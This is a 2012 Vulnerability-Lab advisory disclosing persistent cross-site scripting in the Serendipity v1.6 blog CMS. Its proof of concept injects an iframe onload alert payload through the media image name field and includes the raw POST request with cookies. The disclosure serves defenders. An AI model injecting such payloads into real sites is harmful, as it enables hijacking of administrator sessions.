Title: ====== Serendipity v1.6 CMS - Multiple Web Vulnerabilities Date: ===== 2012-05-05 References: =========== http://www.vulnerability-lab.com/get_content.php?id=535 VL-ID: ===== 535 Common Vulnerability Scoring System: ==================================== 5 Introduction: ============= Serendipity is a weblog/blog system, implemented with PHP. It is standards compliant, feature rich and open source (BSD License). Serendipity is constantly under active development, with a team of talented developers trying to make the best PHP powered blog on the net. Serendipity has so far also proven 100% PHP5 compatible. Serendipity is a PHP-powered weblog application which gives the user an easy way to maintain an online diary, weblog or even a complete homepage. While the default package is designed for the casual blogger, Serendipity offers a flexible, expandable and easy-to-use framework with the power for professional applications. (Copy of the Vendor Homepage: http://www.s9y.org ) Abstract: ========= A Vulnerability Laboratory researcher discovered multiple web vulnerabilities in Serendipity v1.6 Content Management System. Report-Timeline: ================ 2012-05-05: Public or Non-Public Disclosure Status: ======== Published Exploitation-Technique: ======================= Remote Severity: ========= Medium Details: ======== Multiple persistent input validation vulnerabilities are detected in Serendipity v1.6 Content Management System. The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent). Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent) context manipulation. Exploitation requires low user inter action. Attackers can inject malicious strings as author name to execute them when an admin is processing to preview, review or manage the listing of users. The bug is located on application side & the execution is persistent out of the user management web application context. Vulnerable Module(s): [+] Media - Image Name & Display Picture(s): ../1.png ../2.png Proof of Concept: ================= The vulnerability can be exploited by remote attackers with low required user inter action. For demonstration or reproduce .. Vulnerable: http://127.0.0.1:8080/serendipity/serendipity_admin.php?serendipity[adminModule]=category&serendipity[adminAction]=new Affected: http://127.0.0.1:8080/serendipity/a Review: Image Name Display - Media <ul><li><div class="image_add"><b>Adding image...</b></div></li><li>File was not located on the remote server, are you sure the URL: <b>"><iframe src="a" onload='alert("VL")' <<="" b=""> is correct?</li></ul></div> <!-- EXTERNAL MEDIA END --> </div> </body> </html> </iframe></b></li></ul> POST: IMAGE UPLOAD + NAME serendipity[old_session]=1vspimicug4mg0glab25l15q92; serendipity[author_token]=4732db2a5cc1ee1b1fa39f2fd010a417e0d2d87e; serendipity[userDefLang]=en; serendipity[sortorder_perpage]=; serendipity[sortorder_order]=; serendipity[sortorder_ordermode]=; serendipity[only_path]=iframesrcaonloadalertVL; <= serendipity[only_filename]=; serendipity[entrylist_filter_author]=; serendipity[entrylist_filter_category]=; serendipity[entrylist_filter_isdraft]=; serendipity[entrylist_sort_perPage]=; serendipity[entrylist_sort_ordermode]=; serendipity[entrylist_sort_order]=; serendipity[addmedia_directory]=; __utma=87180614.499031553.1335326742.1335427622.1335434663.3; __utmc=87180614; __utmz=87180614.1335326742.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __gads=ID=4edf2e1e70d6571e:T=1335326758:S=ALNI_MZ40f1i0Ac4MSfN7hpqBqzaNtJIlA; gs_u=1661731922:3115:9169:1335436134683; __utmb=87180614.4.10.1335434663; LThttpxxxcomlifetype=e1c0opti2n6u8apo30qhgrrdq2; PHPSESSID=p4gs3t31a4bvjnsibk7284mhv2; s9y_6ee12d7870b99d9e22c04f0f96d39992=1vspimicug4mg0glab25l15q92 Risk: ===== The security risk of the persistent input validation vulnerability are estimated as medium. Credits: ======== Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (rem0ve@vulnerability-lab.com) Disclaimer: =========== The information provided in this advisory is provided as it is without any warranty. Vulnerability-Lab disclaims all warranties, either expressed or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability- Lab or its suppliers are not liable in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. 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